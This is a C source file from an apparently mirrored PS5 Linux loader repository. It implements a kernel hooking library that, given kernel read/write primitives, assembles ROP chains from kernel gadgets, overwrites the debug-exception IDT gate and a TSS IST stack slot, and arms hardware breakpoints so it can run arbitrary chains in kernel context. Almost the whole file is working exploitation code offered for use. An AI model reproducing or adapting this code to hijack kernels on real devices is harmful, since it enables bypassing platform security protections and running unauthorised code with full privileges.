mirror of
https://github.com/ps5-linux/ps5-linux-loader.git
synced 2026-10-22 11:03:04 -05:00
* add 13.20 support * add 13.00 support * Update README.md update readme to reflect new 13.00, 13.20 and 13.60 support.
552 lines
14 KiB
C
552 lines
14 KiB
C
#include "khook.h"
|
|
|
|
static int kwrite_q(khook_t *kh, uint64_t addr, uint64_t val)
|
|
{
|
|
return kh->write(addr, &val, 8);
|
|
}
|
|
|
|
static uint64_t kread_q(khook_t *kh, uint64_t addr)
|
|
{
|
|
uint64_t val = 0;
|
|
kh->read(addr, &val, 8);
|
|
return val;
|
|
}
|
|
|
|
static size_t putq(uint8_t *buf, size_t off, uint64_t val)
|
|
{
|
|
for (int i = 0; i < 8; i++)
|
|
buf[off + i] = (uint8_t)(val >> (8 * i));
|
|
return off + 8;
|
|
}
|
|
|
|
static void gate_encode(uint64_t off, uint16_t sel, uint8_t ist, uint8_t type, uint8_t dpl, int present, uint64_t *lo, uint64_t *hi)
|
|
{
|
|
*lo = (off & 0xFFFF)
|
|
| ((uint64_t)sel << 16)
|
|
| ((uint64_t)(ist & 7) << 32)
|
|
| ((uint64_t)(type & 0xF) << 40)
|
|
| ((uint64_t)(dpl & 3) << 45)
|
|
| ((uint64_t)(present ? 1 : 0) << 47)
|
|
| (((off >> 16) & 0xFFFF) << 48);
|
|
*hi = (off >> 32) & 0xFFFFFFFFULL;
|
|
}
|
|
|
|
static int probe_write(khook_t *kh, uint64_t addr)
|
|
{
|
|
uint64_t save = kread_q(kh, addr);
|
|
uint64_t test = save ^ 0xA5A5A5A5A5A5A5A5ULL;
|
|
kwrite_q(kh, addr, test);
|
|
uint64_t readback = kread_q(kh, addr);
|
|
kwrite_q(kh, addr, save);
|
|
return readback == test;
|
|
}
|
|
|
|
static uint64_t ist_slot_va(const khook_t *kh)
|
|
{
|
|
return kh->tss_base + (uint64_t)kh->core_id * kh->tss_stride + KH_TSS_IST(kh->ist_index);
|
|
}
|
|
|
|
void kh_chain_init(kh_chain_t *chain, uint8_t *buf, size_t cap)
|
|
{
|
|
chain->buf = buf;
|
|
chain->cap = cap;
|
|
chain->len = 0;
|
|
chain->err = 0;
|
|
}
|
|
|
|
int kh_chain_q(kh_chain_t *chain, uint64_t raw)
|
|
{
|
|
if (!chain || chain->err || chain->len + 8 > chain->cap) {
|
|
if (chain)
|
|
chain->err = 1;
|
|
return -1;
|
|
}
|
|
|
|
putq(chain->buf, chain->len, raw);
|
|
chain->len += 8;
|
|
return 0;
|
|
}
|
|
|
|
int kh_chain_g(kh_chain_t *chain, kgadget_t gadget)
|
|
{
|
|
uint64_t address = kgadget(gadget);
|
|
if (!address) {
|
|
if (chain)
|
|
chain->err = 1;
|
|
return -1;
|
|
}
|
|
return kh_chain_q(chain, address);
|
|
}
|
|
|
|
int kh_chain_store(kh_chain_t *chain, uint64_t kaddr, uint64_t val)
|
|
{
|
|
if (kgadget(KERNEL_GADGET_POP_R8) &&
|
|
kgadget(KERNEL_GADGET_STORE_RCX_R8)) {
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
|
kh_chain_q(chain, kaddr);
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_R8);
|
|
kh_chain_q(chain, val);
|
|
kh_chain_g(chain, KERNEL_GADGET_STORE_RCX_R8);
|
|
} else {
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
|
kh_chain_q(chain, kaddr);
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RAX);
|
|
kh_chain_q(chain, val);
|
|
kh_chain_g(chain, KERNEL_GADGET_ST_RCX_RAX);
|
|
}
|
|
return chain && !chain->err ? 0 : -1;
|
|
}
|
|
|
|
int kh_chain_memcpy(kh_chain_t *chain, uint64_t dst_kaddr, uint64_t src_kaddr, uint64_t n_bytes)
|
|
{
|
|
kh_chain_g(chain, KERNEL_GADGET_CLD);
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RDI);
|
|
kh_chain_q(chain, dst_kaddr);
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RSI);
|
|
kh_chain_q(chain, src_kaddr);
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RCX);
|
|
kh_chain_q(chain, n_bytes);
|
|
kh_chain_g(chain, KERNEL_GADGET_REP_MOVSB);
|
|
return chain && !chain->err ? 0 : -1;
|
|
}
|
|
|
|
int kh_chain_call(kh_chain_t *chain, uint64_t fn_kaddr, int argc, uint64_t a0, uint64_t a1, uint64_t a2)
|
|
{
|
|
if (argc >= 1) {
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RDI);
|
|
kh_chain_q(chain, a0);
|
|
}
|
|
if (argc >= 2) {
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RSI);
|
|
kh_chain_q(chain, a1);
|
|
}
|
|
if (argc >= 3) {
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RDX);
|
|
kh_chain_q(chain, a2);
|
|
}
|
|
kh_chain_g(chain, KERNEL_GADGET_POP_RAX);
|
|
kh_chain_q(chain, 0);
|
|
kh_chain_q(chain, fn_kaddr);
|
|
return chain && !chain->err ? 0 : -1;
|
|
}
|
|
|
|
int kh_init(khook_t *kh, kh_read_fn rd, kh_write_fn wr, uint64_t kernel_base, uint64_t scratch_base, int ist_index)
|
|
{
|
|
if (!kh || !rd || !wr || !kernel_base || !scratch_base)
|
|
return -1;
|
|
if (scratch_base & 0xF)
|
|
return -2;
|
|
if (ist_index < 1 || ist_index > 7)
|
|
return -3;
|
|
|
|
for (unsigned i = 0; i < sizeof(*kh); i++)
|
|
((uint8_t *)kh)[i] = 0;
|
|
|
|
kh->read = rd;
|
|
kh->write = wr;
|
|
kh->kernel_base = kernel_base;
|
|
kh->scratch_base = scratch_base;
|
|
kh->ist_index = ist_index;
|
|
return 0;
|
|
}
|
|
|
|
void kh_set_hook_target(khook_t *kh, uint64_t kaddr) {
|
|
if (kh)
|
|
kh->hook_kaddr = kaddr;
|
|
}
|
|
void kh_set_resume_rip(khook_t *kh, uint64_t kaddr) {
|
|
if (kh)
|
|
kh->resume_rip = kaddr;
|
|
}
|
|
void kh_set_resume_skip(khook_t *kh, uint64_t skip) {
|
|
if (kh)
|
|
kh->resume_rip = skip ? kh->hook_kaddr + skip : 0;
|
|
}
|
|
|
|
void kh_set_resume_rax(khook_t *kh, uint64_t rax) {
|
|
if (kh) {
|
|
kh->resume_rax = rax;
|
|
kh->resume_rax_set = 1;
|
|
}
|
|
}
|
|
|
|
void kh_set_resume_rsi(khook_t *kh, uint64_t rsi) {
|
|
if (kh) {
|
|
kh->resume_rsi = rsi;
|
|
kh->resume_rsi_set = 1;
|
|
}
|
|
}
|
|
|
|
void kh_set_resume_rdi(khook_t *kh, uint64_t rdi) {
|
|
if (kh) {
|
|
kh->resume_rdi = rdi;
|
|
kh->resume_rdi_set = 1;
|
|
}
|
|
}
|
|
|
|
void kh_set_resume_rdx(khook_t *kh, uint64_t rdx) {
|
|
if (kh) {
|
|
kh->resume_rdx = rdx;
|
|
kh->resume_rdx_set = 1;
|
|
}
|
|
}
|
|
|
|
void kh_clear_resume_rax(khook_t *kh) {
|
|
if (kh)
|
|
kh->resume_rax_set = 0;
|
|
}
|
|
|
|
void kh_clear_resume_rsi(khook_t *kh) {
|
|
if (kh)
|
|
kh->resume_rsi_set = 0;
|
|
}
|
|
|
|
void kh_clear_resume_rdi(khook_t *kh) {
|
|
if (kh)
|
|
kh->resume_rdi_set = 0;
|
|
}
|
|
|
|
void kh_clear_resume_rdx(khook_t *kh) {
|
|
if (kh)
|
|
kh->resume_rdx_set = 0;
|
|
}
|
|
|
|
void kh_set_tables(khook_t *kh, uint64_t idt_base, uint64_t tss_base) {
|
|
if (kh) {
|
|
kh->idt_base = idt_base;
|
|
kh->tss_base = tss_base;
|
|
}
|
|
}
|
|
|
|
void kh_set_core(khook_t *kh, int core_id) {
|
|
if (kh)
|
|
kh->core_id = core_id;
|
|
}
|
|
|
|
uint64_t kh_user_data_addr(const khook_t *kh) {
|
|
return kh ? kh->scratch_base + KH_OFF_USER : 0;
|
|
}
|
|
|
|
uint64_t kh_find_cave(khook_t *kh, uint64_t start, uint64_t len, size_t need)
|
|
{
|
|
uint8_t buf[0x1000];
|
|
uint64_t run = 0, run_start = 0;
|
|
|
|
if (!kh)
|
|
return 0;
|
|
if (!need)
|
|
need = KH_SCRATCH_MIN;
|
|
|
|
need += 16;
|
|
|
|
for (uint64_t off = 0; off < len; off += sizeof buf) {
|
|
size_t chunk = (len - off < sizeof buf) ? (size_t)(len - off) : sizeof buf;
|
|
if (kh->read(start + off, buf, chunk) != 0) {
|
|
run = 0;
|
|
continue;
|
|
}
|
|
|
|
for (size_t i = 0; i < chunk; i++) {
|
|
if (buf[i] != 0) {
|
|
run = 0;
|
|
continue;
|
|
}
|
|
if (run == 0)
|
|
run_start = start + off + i;
|
|
if (++run >= need)
|
|
return (run_start + 0xF) & ~0xFULL;
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static size_t emit_resume_tail(khook_t *kh, uint8_t *buf, size_t off,
|
|
uint64_t frame_base, uint64_t rflags_slot, uint64_t iret_tramp)
|
|
{
|
|
if (kh->resume_rip) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(buf, off, frame_base);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_R8));
|
|
off = putq(buf, off, kh->resume_rip);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_STORE_RCX_R8));
|
|
}
|
|
|
|
if (kh->oneshot) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
|
off = putq(buf, off, 0);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_SET_DR7));
|
|
} else {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(buf, off, rflags_slot);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
|
off = putq(buf, off, KH_RF);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_OR_RCX_EAX));
|
|
}
|
|
|
|
if (kh->resume_rax_set) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
|
off = putq(buf, off, kh->resume_rax);
|
|
}
|
|
if (kh->resume_rsi_set) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RSI));
|
|
off = putq(buf, off, kh->resume_rsi);
|
|
}
|
|
if (kh->resume_rdi_set) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RDI));
|
|
off = putq(buf, off, kh->resume_rdi);
|
|
}
|
|
if (kh->resume_rdx_set) {
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RDX));
|
|
off = putq(buf, off, kh->resume_rdx);
|
|
}
|
|
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RSP));
|
|
off = putq(buf, off, iret_tramp);
|
|
return off;
|
|
}
|
|
|
|
int kh_install(khook_t *kh, const kh_chain_t *handler)
|
|
{
|
|
uint8_t img[KH_SCRATCH_MIN];
|
|
uint8_t bigbuf[0x600];
|
|
uint64_t scratch, arm_chain, disp_chain, big;
|
|
uint64_t frame_base, rflags_slot, iret_tramp;
|
|
size_t iret_tramp_off, save_len, handler_len, restore_off, off;
|
|
uint64_t slot_rdi, slot_rsi, slot_rdx;
|
|
uint64_t db_gate, ist, lo, hi;
|
|
|
|
if (!kh || kh->installed)
|
|
return -1;
|
|
if (!kh->hook_kaddr)
|
|
return -2;
|
|
if (handler && handler->err)
|
|
return -11;
|
|
if (!kh->idt_base || !kh->tss_base)
|
|
return -3;
|
|
|
|
db_gate = kh->idt_base + 16 * KH_VEC_DB;
|
|
ist = ist_slot_va(kh);
|
|
|
|
kh->saved_gate_lo = kread_q(kh, db_gate);
|
|
kh->saved_gate_hi = kread_q(kh, db_gate + 8);
|
|
kh->saved_ist = kread_q(kh, ist);
|
|
kh->kcs = (uint16_t)(kh->saved_gate_lo >> 16);
|
|
if (!kh->kcs)
|
|
return -4;
|
|
|
|
{
|
|
uint64_t gate_handler = (kh->saved_gate_lo & 0xFFFF)
|
|
| (((kh->saved_gate_lo >> 48) & 0xFFFF) << 16)
|
|
| ((kh->saved_gate_hi & 0xFFFFFFFFULL) << 32);
|
|
if (!((kh->saved_gate_lo >> 47) & 1))
|
|
return -14;
|
|
|
|
if (gate_handler < kh->kernel_base ||
|
|
gate_handler >= kh->kernel_base + KH_KIMG_MAX)
|
|
return -14;
|
|
}
|
|
|
|
|
|
if ((kread_q(kh, kh->tss_base + (uint64_t)kh->core_id * kh->tss_stride + 0x04) >> 47) != 0x1FFFFULL)
|
|
return -15;
|
|
|
|
scratch = kh->scratch_base;
|
|
arm_chain = scratch + KH_OFF_CHAIN_ARM;
|
|
disp_chain = scratch + KH_OFF_CHAIN_DISP;
|
|
|
|
frame_base = disp_chain - 0x28;
|
|
rflags_slot = frame_base + 0x10;
|
|
iret_tramp = frame_base - 8;
|
|
iret_tramp_off = KH_OFF_CHAIN_DISP - 0x28 - 8;
|
|
|
|
for (size_t i = 0; i < sizeof img; i++)
|
|
img[i] = 0;
|
|
|
|
{
|
|
uint64_t ctx_struct = scratch + KH_OFF_RESUME;
|
|
uint64_t cont_chain = scratch + KH_OFF_CHAIN_CONT;
|
|
|
|
off = KH_OFF_CHAIN_ARM;
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RAX));
|
|
off = putq(img, off, kh->hook_kaddr);
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RDI));
|
|
off = putq(img, off, ctx_struct);
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_DBREG_RESUME));
|
|
if (off > KH_OFF_CHAIN_CONT)
|
|
return -5;
|
|
|
|
|
|
putq(img, KH_OFF_RESUME + KH_RC_RSP, cont_chain - 8);
|
|
putq(img, KH_OFF_RESUME + KH_RC_RIP, kgadget(KERNEL_GADGET_RET_TRAMP));
|
|
putq(img, KH_OFF_RESUME + KH_RC_DR7, KH_DR7_BP0_EXEC);
|
|
|
|
off = KH_OFF_CHAIN_CONT;
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RDI));
|
|
off = putq(img, off, ist - 8);
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(img, off, disp_chain);
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_STORE_RDI8_RCX));
|
|
off = putq(img, off, kgadget(KERNEL_GADGET_IRETQ));
|
|
|
|
kh->arm_rip_slot = scratch + off;
|
|
off = putq(img, off, 0);
|
|
off = putq(img, off, KH_USER_CS);
|
|
off = putq(img, off, KH_RFLAGS_USER);
|
|
kh->arm_rsp_slot = scratch + off;
|
|
off = putq(img, off, 0);
|
|
off = putq(img, off, KH_USER_SS);
|
|
if (off > KH_OFF_RESUME)
|
|
return -5;
|
|
}
|
|
|
|
big = scratch + KH_OFF_BIG_CHAIN;
|
|
if (!probe_write(kh, big))
|
|
return -16;
|
|
|
|
putq(img, iret_tramp_off, kgadget(KERNEL_GADGET_IRETQ));
|
|
putq(img, KH_OFF_CHAIN_DISP + 0, kgadget(KERNEL_GADGET_POP_RSP));
|
|
putq(img, KH_OFF_CHAIN_DISP + 8, big);
|
|
|
|
for (size_t i = 0; i < sizeof bigbuf; i++)
|
|
bigbuf[i] = 0;
|
|
|
|
save_len = 0x58;
|
|
handler_len = (handler && handler->len) ? handler->len : 0;
|
|
restore_off = save_len + handler_len;
|
|
slot_rdi = big + restore_off + 0x08;
|
|
slot_rsi = big + restore_off + 0x18;
|
|
slot_rdx = big + restore_off + 0x28;
|
|
|
|
off = 0;
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_MOV_RAX_RSI));
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(bigbuf, off, slot_rsi);
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RAX));
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(bigbuf, off, slot_rdx);
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RDX));
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_MOV_RAX_RDI));
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
|
off = putq(bigbuf, off, slot_rdi);
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RAX));
|
|
|
|
if (handler_len) {
|
|
for (size_t i = 0; i < handler_len; i++)
|
|
bigbuf[off + i] = handler->buf[i];
|
|
off += handler_len;
|
|
}
|
|
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RDI));
|
|
off = putq(bigbuf, off, 0);
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RSI));
|
|
off = putq(bigbuf, off, 0);
|
|
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RDX));
|
|
off = putq(bigbuf, off, 0);
|
|
|
|
off = emit_resume_tail(kh, bigbuf, off, frame_base, rflags_slot, iret_tramp);
|
|
if (off > sizeof bigbuf)
|
|
return -6;
|
|
if (kh->write(big, bigbuf, off) != 0)
|
|
return -7;
|
|
|
|
if (kh->write(scratch, img, sizeof img) != 0)
|
|
return -7;
|
|
|
|
if (kwrite_q(kh, ist, arm_chain) != 0)
|
|
return -8;
|
|
|
|
gate_encode(kgadget(KERNEL_GADGET_PIVOT_ADD_RSP28_RET), kh->kcs, kh->ist_index,
|
|
KH_GATE_INTERRUPT, 0, 1, &lo, &hi);
|
|
if (kwrite_q(kh, db_gate + 8, hi) != 0)
|
|
return -9;
|
|
if (kwrite_q(kh, db_gate, lo) != 0)
|
|
return -10;
|
|
|
|
if (kread_q(kh, ist) != arm_chain)
|
|
return -13;
|
|
if (kread_q(kh, db_gate) != lo || kread_q(kh, db_gate + 8) != hi)
|
|
return -12;
|
|
|
|
kh->installed = 1;
|
|
return 0;
|
|
}
|
|
|
|
void kh_trigger(khook_t *kh)
|
|
{
|
|
uint64_t resume_rsp, rbp_val;
|
|
void *resume_label = &&resumed;
|
|
|
|
if (!kh || !kh->installed)
|
|
return;
|
|
|
|
__asm__ volatile("mov %%rsp, %0" : "=r"(resume_rsp));
|
|
__asm__ volatile("mov %%rbp, %0" : "=r"(rbp_val));
|
|
|
|
kwrite_q(kh, kh->scratch_base + KH_OFF_RESUME + KH_RC_RBP, rbp_val);
|
|
kwrite_q(kh, kh->arm_rip_slot, (uint64_t)resume_label);
|
|
kwrite_q(kh, kh->arm_rsp_slot, resume_rsp);
|
|
|
|
__asm__ volatile(
|
|
"pushfq \n\t"
|
|
"orq $0x100, (%%rsp)\n\t"
|
|
"popfq \n\t"
|
|
"nop \n\t"
|
|
::: "memory", "cc");
|
|
resumed:
|
|
return;
|
|
}
|
|
|
|
int kh_disarm(khook_t *kh)
|
|
{
|
|
uint8_t buf[0x60];
|
|
uint64_t scratch, ist;
|
|
size_t off;
|
|
|
|
if (!kh || !kh->installed)
|
|
return -1;
|
|
|
|
scratch = kh->scratch_base;
|
|
ist = ist_slot_va(kh);
|
|
|
|
for (unsigned i = 0; i < sizeof buf; i++)
|
|
buf[i] = 0;
|
|
|
|
off = 0;
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
|
off = putq(buf, off, 0);
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_SET_DR7));
|
|
off = putq(buf, off, kgadget(KERNEL_GADGET_IRETQ));
|
|
kh->arm_rip_slot = scratch + KH_OFF_CHAIN_ARM + off;
|
|
off = putq(buf, off, 0);
|
|
off = putq(buf, off, KH_USER_CS);
|
|
off = putq(buf, off, KH_RFLAGS_USER);
|
|
kh->arm_rsp_slot = scratch + KH_OFF_CHAIN_ARM + off;
|
|
off = putq(buf, off, 0);
|
|
off = putq(buf, off, KH_USER_SS);
|
|
if (kh->write(scratch + KH_OFF_CHAIN_ARM, buf, off) != 0)
|
|
return -2;
|
|
|
|
if (kwrite_q(kh, ist, scratch + KH_OFF_CHAIN_ARM) != 0)
|
|
return -3;
|
|
|
|
kh_trigger(kh);
|
|
return 0;
|
|
}
|
|
|
|
int kh_restore(khook_t *kh)
|
|
{
|
|
uint64_t db_gate, ist;
|
|
|
|
if (!kh || !kh->installed)
|
|
return -1;
|
|
|
|
db_gate = kh->idt_base + 16 * KH_VEC_DB;
|
|
ist = ist_slot_va(kh);
|
|
|
|
kwrite_q(kh, db_gate + 8, kh->saved_gate_hi);
|
|
kwrite_q(kh, db_gate, kh->saved_gate_lo);
|
|
kwrite_q(kh, ist, kh->saved_ist);
|
|
kh->installed = 0;
|
|
return 0;
|
|
}
|